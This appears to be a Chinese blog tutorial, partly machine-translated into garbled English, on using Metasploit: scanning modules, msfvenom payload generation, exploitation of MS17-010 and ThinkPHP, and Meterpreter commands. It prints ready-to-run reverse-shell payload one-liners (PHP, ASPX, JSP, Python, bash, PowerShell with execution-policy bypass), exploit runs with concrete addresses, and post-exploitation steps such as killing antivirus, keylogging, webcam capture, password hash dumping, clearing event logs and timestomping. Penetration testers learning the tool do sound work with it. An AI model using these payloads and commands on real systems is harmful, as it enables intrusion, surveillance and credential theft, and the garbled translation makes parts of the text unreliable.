当前位置:网站首页>Metasploit (MSF) Basic Super Detailed Edition
Metasploit (MSF) Basic Super Detailed Edition
2022-08-02 07:53:00 【zigzag rise】
MSFBased learning and see this one is enough
Metasploit
常见名词解释
POC : Proof of Concept ,概念证明,A piece of code is used to prove the existence of holes,没有攻击性.
EXP : Exploit ,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性.
Payload :有效载荷,指 Exploit 执行成功之后,Real code or instructions that are executed in the system.
Shellcode :A used in exploiting vulnerabilities and execute code,为16进制的机器码,由于其建立正向/反向 shell 而得名.
Client :客户端.
Team Server :服务端, C2 服务器, Beacon Payload 的控制器.
Beacon :是 Cobalt Strike 运行在目标主机上的 payload , Beacon 在隐蔽信道上我们提供服务,用于长期控制受感染主机.
C2 : Command & Control Server 的简称,Is the command and control.
MSF简介
The Metasploit Framework 的简称. MSF 高度模块化,即框架由多个 module 组成,Is one of the world's most popular penetration testing tools.
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode ,并持续保持更新.
metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试.
MSF框架结构
Kali-metasploit 框架目录路径
- data:包含metasploitUsed to store some holes、单词列表、Images such as binary files needed
可编辑文件. - documentation:Contains the framework documentation available.
- lib:metasploit的库文件夹.
- plugins:用来存放metasploit的插件.
- scripts:用来存放metasploit的脚本,包括meterpreterAnd other script.
- tools:Command-line utility to store a variety of.
- modules:存储metasploit的模块文件.
kali Metasploit 更新
msfconsole -v # 查看版本
apt-get update
apt-get install metasploit-framework
MSF配置数据库
MetasploitSupport the use of database to store the penetration test to obtain all kinds of data in the process of
开启 postgresql 数据库
service postgresql start
初始化 MSF 数据库
msfdb init
创建数据库用户: msf
创建数据库: msf
创建数据库: msf_test
创建配置文件: /usr/share/metasploit-framework/config/database.yml
创建保存MSFFramework of information required for data table
启动 msfconsole
msfconsole
Msfconsole 是 Metasploit The framework user interface,我们能通过 Msfconsole 接口使用Metasploit 中所有模块.
Msfconsole 主要用于:
- 管理 Metasploit 数据库
- 管理会话
- 配置启动 Metasploit 模块
启动 msfconsole 时,MSFWill use to create msf The user automatically login to msf 数据库
查看数据库连接状态
db_status
If there is no connection can manually connect:
db_connect 用户名:口令@服务器地址:端口/数据库名称
内网主机发现
> db_nmap:该命令是 Nmap 的一个封装,与 Nmap 使用方法一样,Its execution results will be automatically entered into the database.
> -PA:TCP ACK PING扫描
> -PS:TCP SYNPING扫描
> -PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,Especially in the case of network 下.因为防火墙不会禁止ARP请求.
> hosts:List the current workspace all hosts servers:List the current workspace all hosting services 端口、服务、版本探测
> -T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms
> -sS:TCP SYN扫描
> -sA:TCP ACK扫描
> -sT:TCP 扫描
> -A:打开操作系统探测和版本探测 漏洞探测
> --script=vuln:检查是否具有常见漏洞
db_nmap -Pn -sV 171.16.1.0/24
以将NmapScan results exported as an output file,And import penetration testing in the database,只要在Nmap命令中加入-oX参数
nmap -Pn -sV -oX dmz 171.16.1.106/24
扫描结束后,在当前目录下生成名为dmz的文件,可以在msfTerminal import database
db_import /root/dmz
db_importCommand also can identify Acunetix,Amap,Appscan,Burp Session,Microsoft Baseline Security Analyzer,Nessus,NetSparker,NeXpose,OpenVAS Report,Rentina The results of the scanner, such as.
MSF命令查询
常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
[show ]options/advanced – 查看该模块可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
数据库管理命令
msfdb init # 启动并初始化数据库
msfdb reinit # 删除并重新初始化数据库
msfdb delete # Delete and stop using the database
msfdb start # 启动数据库
msfdb stop # 停止数据库
msfdb status # 检查服务状态
msfdb run # 启动数据库并运行msfconsole
核心命令
? 帮助菜单
banner 显示 Metasploit banner信息
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
debug 显示对调试有用的信息
exit 退出控制台
features Display the list of functions can choose to join has yet to release
get 获取特定变量的值
getg 获取全局变量的值
grep Filter to the output of a command
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat Repeat a command list
route 通过一个sessionSession routing flow
save 保存活动的数据存储
sessions Export session list and display the session information
set To a specific environment variable is set to a value
setg Set a global variable to a value
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
tips According to list of helpful hints
unload 卸载框架插件
unset Cancel the set of one or more variables
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
模块命令
advanced 显示一个或多个模块的高级选项
back 从当前环境返回
clearm 清除模块堆栈
favorite The module to add to the list of favorite module
info According to one or more modules detailed information
listm In the list of modules stack
loadpath Search from the path and loading module
options According to one or more modules global options
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm Activity module or modules list is pushed to the module stack
reload_all 重新加载所有模块
search 搜索模块名称和描述
show According to a given type of all the module or modules
use By name or search term/Index selection using the module
进程命令
handler 启动一个payload处理程序作为job
jobs 显示和管理 jobs
kill 杀掉一个job
rename_job 重命名一个job
资源脚本命令
makerc Will start from the input command to save to a file
resource 运行存储在文件中的命令
The background database command
analyze Analysis on a specific address or range of database information
db_connect Connect to an existing data services
db_disconnect Disconnected with the current data service
db_export Export a file database content
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存(已废弃)
db_remove Delete the saved data service entry
db_save To save the current data service connection to the default,以便在启动时重新连接
db_status Show the current state of data services
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace In database workspace switching between
Backend credential command
creds 列出数据库中的所有凭证
Developers command
edit With preferred editor to edit the current module or file
irb In the current environment open an interactiveRuby shell
log 如果可能的话,将framework.logPaging display at the end of the day.
pry In the current module or frame open Pry 调试器
reload_lib 从指定路径重新加载Ruby库文件
time The time needed for running a specific command
Attack the load command
check Check whether a target vulnerable
generate Generate a payload
reload From the disk to reload the current module
to_handler Create a handler using specified payload
MSF模块
模块是通过MetasploitLoad the integration provides the framework of the core penetration testing function implementation code.
MSFAll the leak test is based on the module.
auxiliary :辅助模块 辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
Used for auxiliary operation module,Such as network scanning、枚举、漏洞扫描、登录暴力破解、模糊测试、 蜘蛛(遍历)、数据提取等;
Auxiliary module can get the target system before infiltration rich intelligence information,To launch more targeted precision attack 击. 包括针对各种网络服务的扫描与查点、Build a false services collect password password cracking、敏 Sniffer sense information、fuzz、实施网络协议欺骗等模块
exploits :漏洞利用模块 包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用. 命名规则:操作系统/各种应用协议分类
For use of loopholes and deliver the payload module.Have the remote and the exploit、本地漏洞利用、权限提升漏 洞利用、The client and the exploit、Web The application and the exploit and many other holes.
利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件.metasploit框架中渗透攻击模块可以按照所利用的安全漏洞所在的位置分为主动渗透攻击与被动渗透攻击两大类.
payloads: 攻击载荷 主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码、 Used to perform actions during use module,例如建立Meterpreter 会话、反向 shell、执行命 令、Download and execute a program, etc.Attack load is in after the success of the infiltration attack the target system running an embedded code,Is usually open on the target system for penetrating the attacker control session connection.在传统的渗透代码开发中,攻击载荷只是一段功能简单的ShellCode代码,以汇编语言编制并转换为目标系统CPUArchitecture to support the machine 器代码,在渗透攻击触发漏洞后,Will the program execution process hijacked and jump into the machine code of 行,从而完成ShellCode中实现的单一功能.
post:后渗透阶段模块 漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
Used for permeability after after obtaining permission to use operation module,例如凭证/Hash dump、本地权限提升、The back door installation、Sensitive data extraction、Network traffic tunnel(代理)、键盘记录、Screen capture and many 其他操作.
encoders :编码器模块 主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统 For payload encoding and encryption module,例如 base64、XOR、shikata_ga_nai 等.这有助 In the confusion to evade antivirus orNIDS(网络入侵检测系统)、EDR(端点检测和响应)Such as the 御.
evasion :躲避模块 用来生成免杀payload Used to circumvent the defense module,Such as anti-virus around、AppLocker 绕过、软件限制策略 (SRP) 绕过等.
nops:空指令模块 Empty instruction is empty operation,提高paylaodStability and maintain a big
Used to generate the harmless、良性的“无操作”指令的模块,For example, used for filling purpose、During the period of use in memory In the sliding, etc.
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令.
在渗透攻击构造恶意数据缓冲区时,Often to be executed in realShellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的 Shellcode执行失败,To improve the reliability of infiltration attack.
metasploitEmpty framework in the command module is used to load the attack to add empty instruction area,In order to improve the attack can be By sexual component.
MSFAuxiliary scanning module - auxiliary
MSF主机发现
模块路径
modules/auxiliary/scanner/discovery/
搜索模块arp_sweep:使用arpRequest enumerated all the active hosts in the local LAN
udp_sweep:通过发送UDPPacket detect whether the specified host is active,And found that hostudp服务.
模块使用
arp_sweep模块使用方法
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 171.166.1.0/24
set THREADS 50
run
MSF服务扫描
服务扫描
确定开放端口后,对相应端口上所运行的服务信息进行挖掘
模块搜索
在 Metasploit 的 Scanner 辅助模块中,用于服务扫描和查点的工具常以
[service_name]_version 和 [service_name]_login 命名.
[service_name]_version :可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login :可对某种服务进行口令探测攻击
在MSF终端中可以输入:
search login
To view all services login password detection module
在MSF终端中可以输入:
search version
View all available services detection module
Telnet服务模块
模块搜索
search scanner/telnet
telnet登录
auxiliary/scanner/telnet/telnet_login
扫描telnet版本
auxiliary/scanner/telnet/telnet_version
模块使用
use auxiliary/scanner/telnet/telnet_version
set RHOSTS xxx.xxx.xxx/24
set THREADS 100
run
SSH服务模块
模块搜索
search scanner/ssh
模块使用
ssh登录
auxiliary/scanner/ssh/ssh_login
ssh公共密钥认证登录
auxiliary/scanner/ssh/ssh_login_pubkey
扫描ssh版本测试
auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_version
set RHOSTS xx.xx.xx.x/24
set THREADS 100
run
使用optionsCan view the need to set the parameters of the,YES是需要配置的,It is not configured using the default values.
Oracle数据库扫描
模块搜索
search scanner/orcale
Module USES corresponding to above. options查看需要设置的参数.
SMB服务扫描
模块搜索
search scanner/smb
SMB枚举
auxiliary/scanner/smb/smb_enumusers
返回DCERPC信息
auxiliary/scanner/smb/pipe_dcerpc_auditor
扫描SMB2协议
auxiliary/scanner/smb/smb2
扫描smb共享文件
auxiliary/scanner/smb/smb_enumshares
枚举系统上的用户
auxiliary/scanner/smb/smb_enumusers
SMB登录
auxiliary/scanner/smb/smb_login
扫描组的用户
auxiliary/scanner/smb/smb_lookupsid
扫描系统版本
auxiliary/scanner/smb/smb_version
MSSQL服务扫描
模块搜索
search scanner/mssql
MSSQL登陆工具
scanner/mssql/mssql_login
测试MSSQL的存在和信息
scanner/mssql/mssql_ping
FTP、SMTP、SNMP扫描
FTP模块搜索
search scanner/ftp
ftp版本扫描
scanner/ftp/ftp_version
ftp匿名登录扫描
scanner/ftp/anonymous
SMTP模块搜索
search scanner/smtp
smtp枚举
auxiliary/scanner/smtp/smtp_enum
扫描smtp版本
auxiliary/scanner/smtp/smtp_version
SNMP模块搜索
search scanner/snmp
MSF端口扫描
模块路径
modules/auxiliary/scanner/portscan/
模块搜索
search scanner/portscan
auxiliary/scanner/protscan/ack
//通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/ftpbounce
//通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTPServer software can be
A good guard against the attack,但在旧的系统上仍可以被利用
auxiliary/scanner/protscan/syn
//使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/tcp
//通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas
//一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
一般情况下推荐使用syn端口扫描器,速度较快,结果准确,Be more
模块使用
use auxiliary/scanner/protscan/syn
set RHOSTS IP地址
set THREADS 20
run
WMAP
WebApplication of auxiliary scanning,Up all basic module in modules/auxiliary/ 下,
Metasploit内置了wmap WEB扫描器,To create a database to store the scanning data,初始化wmap.
load wmap
help wmap
使用wmap扫描
msf > wmap_sites -a http://202.112.50.74 //添加要扫描的网站
msf > wmap_sites -l
msf > wmap_targets -t http://202.112.20.74 //To add the site as scan target
msf > wmap_run -t //Look at those modules will be used in the scan
msf > wmap_run -e //开始扫描
msf > vulns //查看漏洞信息
MSF攻击载荷模块
模块路径
/usr/share/metasploit-framework/modules/payloads
payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等.
Payload类型
singles
独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload.
stagers
传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击.Usually this kind of load volume is very small,Can convenient injection after the exploit,This type of load functions are very similar,大致分为bind(正向)型和reverse(反向)型,bindType is need active connection target port;而reverseType is an opportunity to reverse connection attack target,Need a connection is set in advance attackip地址和端口号.
stages
传输体载荷,如shell,meterpreter等.在stagersEstablish a good and stable connection,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages.Such as to get the targetshell,或者meterpreter控制程序运行.This attack can be in the corresponding input end command control target.
meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,
meterpreter是运行在内存中的,通过注入dll文件实现,On the target machine leave no trace files on my hard drive,When invaded so hard to find.
Stageless payload & Staged payload
payload分为staged(分阶段)和stageless(不分阶段):
Stageless payload: <platform>/[arch]/<single>
Stageless Meterpreter 是一个二进制文件,包含MeterpreterAll the necessary part, and all the necessary extension is bound in 一起,将完整的payloadCompiled in Trojan,体积庞大,可直接独立地植入目标系统进行执行
Staged payload: <platform>/[arch]/<stage>/<stager>
Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,Will perform a transfer to another stage,MSF提供了传输器和传输体配对分阶段植入的技术,First by infiltration attack module embedded code,Short and reliable transmission load,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNCDesktop control complex large attack load.
stageless和staged就像webInvasion in Damascus and ma,一个功能齐全,A is just a connection or command structure of 行,Still need to manage through other tools and scripts.
Payload生成
MSF简介
Msfvenom — Metasploit Independent payload generator,是用来生成后门的软件,In the target machine to perform the back online.
MSF生成Payload
msfvenom选项
Options:
-p:–payload,指定特定的 Payload,如果被设置为-,那么从标准输入流中读取.几乎支持全平台. 指定操作系统
-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n:–nopsled,指定 nop在 payload中的数量
-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式) php exe
-e:–encoder,指定使用编码的encoder
X86/shikata_ga_nai最流行的编码,等级为excellent;
解码和编码过程都是随机生成的;cmd/powershell_base64也为excellent;
-a:–arch,指定目标系统架构 arm-安卓 x86 mips工业系统-路由器-交换机
–platform:指定目标系统平台 linus windows ios 安卓
-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)
-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’\0f’、’\x00’等
-i:–iterations,设置 Payload的编码次数
–smallest:尽可能生成最短的 Payload
-o:–out,保存 Payload到文件
-c:–add-code,指定一个附加的win32 shellcode文件
-x:–template,指定一个特定的可执行文件作为模板
-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行
webpayload
php:
msfvenom-p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx - o shell.aspx
jsp:
Msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
war:
msfvenom-p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
脚本payload
python:
msfvenom-p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
bash:
msfvenom-p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
perl:
msfvenom-p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
PowerShell:
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f psh > shell.ps1
powershell.exe -ExecutionPolicy Bypass -File shell.ps1
漏洞利用模块
模块路径
/usr/share/metasploit-framework/modules/exploits
Windows-MS17-010
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.3.23
check //Detect whether there is any target vulnerability
run //运行攻击模块
Linux - Thinkphp-RCE
search thinkphp
use exploit/unix/webapp/thinkphp_rce
set rhosts ip
set rport 9000
set srvport 38080
set lhost 124.71.45.28
set lport 4567
set ReverseListenerBindAddress 192.168.0.141
run
Meterpreter扩展模块
meterpreter 特点
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外Meterpreter还提供了基于PHP和Java语言的实现.Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到.不需要访问目标主机磁盘,所以也没什么入侵的痕迹.除上述外,Meterpreter还支持Ruby脚本形式的扩展.所以RubyLanguage is necessary.
进入meterpreter
background:将当前session挂起
sessions[ -l]:列出当前所有的session
sessions[ -i] id:进入某个session
常用命令
background 放回后台
exit 关闭会话
help 帮助信息
sysinfo系统平台信息
screenshot 屏幕截取
shell 命令行shell (exit退出)
getlwd 查看本地目录
lcd 切换本地目录
getwd 查看目录
ls 查看文件目录列表
cd 切换目录
rm 删除文件
download C:\\1.txt 1.txt 下载文件
upload /var/www/wce.exe wce.exe 上传 文件
search -d c: -f *.doc 搜索文件
execute -f cmd.exe -i 执行程序/命令
ps 查看进程
getuid 查看当前用户权限 run killav 关闭杀毒软件
run getgui-e 启用远程桌面
advanced
//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活
msf5 exploit(multi/handler) > set ExitOnSessionfalse
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5>exploit(multi/handler)>set SessionCommunicationTimeout0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关
msf5>exploit(multi/handler)>set SessionExpirationTimeout0
//后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务.jobs -K结束所有任务
msf5 exploit(multi/handler) > exploit -j -z
//快捷建立监听的方式:
Msf5>handler – H 192.168.114.130 -P 5449 windows/meterpreter/reverse_tcp
[] Payload handler running as background job 1.
[] Started reverse TCP handler on 192.168.24.146:5449
Set EnableStagrEncoding ture //对发送的atag流量进行加密,来对抗流量检测
meterpreter常用shell
reverse_tcp
基于TCP的反弹shell:
linux/x86/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定.
windows/meterpreter/reverse_https
bind_tcp
基于TCP的正向连接shell,Because when trying to across segment cannot connect to the attacker's machine,所以在内网中经常会使用,不需要设置LHOST.
linux/x86/meterpreter/bind_tcp
meterpreter命令详解
核心命令
? – 帮助菜单
background – Move the current session to the background
bg - background的别名
bgkill – In the background meterpreter 脚本
bglist – List the script in the background
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
disable_unicode_encoding - 禁用unicode字符串的编码
enable_unicode_encoding - 启用unicode字符串的编码
exit – 终止 meterpreter 会话
help – 帮助菜单
info - 显示有关Post模块的信息
irb - In the current session open interactive Ruby 外壳
load - 加载一个或多个meterpreter扩展
machine_id - 获取连接到会话的计算机的 MSF ID
migrate - Service migration to another process
pivot - 管理pivot侦听器
pry - Open on the current sessionpry调试器
quit - 终止 meterpreter 会话
read - 从通道中读取数据
resource - 运行存储在文件中的命令
run - 执行一个meterpreter 脚本 或者 Post模块
secure - In the session to negotiateTLV分组加密
sessions - To quickly switch to anothersession
set_timeouts - Set the current session timeout value
sleep - 强制meterpreter停止活动,然后重新建立会话
transport - To change the current transport mechanism.
use - 加载 meterpreter 的扩展,'load'The old alias
uuid - 获取当前会话的UUID
write – 将数据写入到一个通道
文件系统命令
cat - 读取并输出到标准输出文件的内容
cd - 更改目录对受害人
checksum - 检索文件的校验和
cp - 将源复制到目标
dir - 列出文件(别名为 ls)
download - 下载文件或目录
edit - 编辑文件
getlwd - Output of local working directory
getwd - 输出工作目录
lcd - 更改本地工作目录
lls - 列出本地文件
lpwd - Output of local working directory
ls - The files in the current directory lists
mkdir - 创建目录
mv - 将源移动到目标
rm - 删除指定的文件
rmdir - 删除目录
search - Search search files on the target file system 例如:search -d
c:\\ -f *.doc 在目标主机C盘下搜索doc文档
show_mount - Lists all the loading point/逻辑驱动器
upload - 上传文件或目录
网络命令
arp - 显示主机ARP缓存
getproxy - 显示当前代理配置
ifconfig - According to the key of the network interface information
ipconfig - According to the key of the network interface information
netstat - 显示网络连接
portfwd - 将本地端口转发到远程服务
例如:portfwd add -l 1122 -p 3389 -r
192.168.250.176The target host192.168.250.176的3389端口转发到1122端口
resolve - 解析目标上的一组主机名
route - View or join the victim routing table route add 5.5.5.0
255.255.255.0 1 用sessions 1Network segment specified session to join
系统命令
clearev - 清除事件日志
drop_token - Give up any activity simulation token.
execute - 执行命令,Run a program on the target host execute -f
notepad.exe ,Notepad program execution on the target host,Hide the background,加参数-H
getenv - 获取一个或多个环境变量值
getpid - 获取当前进程 ID (PID)
getprivs - 尝试启用当前进程可用的所有权限
getsid - Gets the current running service userSID
getuid - Gets the current running service users
kill - 终止进程
localtime - 显示目标系统的本地日期和时间
pgrep - By name display process
pkill - 按名称终止进程
ps - 列出正在运行的进程
reboot - 重新启动受害人的计算机
reg - 与受害人的注册表进行交互
rev2self - 在受害者机器上调用 RevertToSelf()
shell - On the remote computer to open ashell
shutdown - 关闭远程计算机
steal_token - 试图窃取指定的 (PID) 进程的令牌
suspend - 挂起或恢复进程列表
sysinfo - For information on the remote system,如操作系统
用户界面命令
enumdesktops - 列出所有可访问的desktops和Windows
getdesktop - 获取当前的 meterpreter 桌面
idletime - 检查长时间以来,受害者系统空闲进程
keyboard_send - Send a keyboard recorder
keyevent - 发送key事件
keyscan_dump - Dump keylogger buffer content
keyscan_start - Start the keyboard recorder
keyscan_stop - Stop the keyboard recorder
mouse - 发送鼠标事件
screenshare - Real-time monitoring of the remote user desktop
screenshot - 抓取交互式桌面的屏幕截图
setdesktop - 更改 meterpreter 当前桌面
uictl - 启用用户界面组件的一些控件
摄像头命令
record_mic - From the default microphones record audioX秒
webcam_chat - Start the video chat
webcam_list - List the camera
webcam_snap - From the specified web camera to obtainsnapshot
webcam_stream - From the specified web cameras broadcast video
音频输出命令
play - 在目标系统上播放波形音频文件(.wav)
提权命令
getsystem - 获得系统管理员权限
密码转储命令
hashdump - Grab hashed password (SAM) 文件中的值
hashdump You can skip antivirus software,But now there are two scripts,Is more hidden,”run hashdump”和”run smart_hashdump”.
Timetomp
timestomp - Modify the file operationMACE属性
Modified:修改时间
Accessed:访问时间
Created:创建时间
Entry Modified: Modify the entry time
边栏推荐
- 企业实训复现指导手册——基于华为ModelArts平台的OpenPose模型的训练和推理、基于关键点数据实现对攀爬和翻越护栏两种行为的识别、并完成在图片中只标注发生行为的人
- 【机器学习】实验5布置:AAAI会议论文聚类分析
- Splunk Field Caculated 计算字段
- 21 days learning challenge 】 【 sequential search
- MySQL batch update
- MySQL报错1055解决办法:[Err] 1055 - Expression #1 of ORDER BY clause is not in GROUP BY clause and contains
- LeetCode Algorithm 1374. 生成每种字符都是奇数个的字符串
- Splunk Filed Alias 字段改名
- mysql操作入门(四)-----数据排序(升序、降序、多字段排序)
- MySQL-Multiversion Concurrency Control
猜你喜欢
随机推荐
查看端口号占用
Go 实现分布式锁
图腾柱和推挽电路介绍
Link with Game Glitch
gdalinfo: error while loading shared libraries: libgdal.so.30: cannot open shared object file: No su
Ask a question, my Flinkcdc has run through, I can monitor the binlog of msql, and I can also send kafk
pnpm + workspace + changesets 构建你的 monorepo 工程
替换ptmalloc,使用tcmalloc和jemalloc
埋点开发流程
Mysql报错2003 解决办法 Can‘t connect to MySQL server on ‘localhost‘ (10061)
敏捷、DevOps和嵌入式系统测试
hdu1752 copy
Analysis of GCC compiler technology
FormData upload binary file, object, object array
主流定时任务解决方案全横评
以训辅教,以战促学 | 新版攻防世界平台正式上线运营!
MySQL报错1055解决办法:[Err] 1055 - Expression #1 of ORDER BY clause is not in GROUP BY clause and contains
MySQL-数据库设计规范
LeetCode 2360. The longest cycle in a graph
OC-NSArray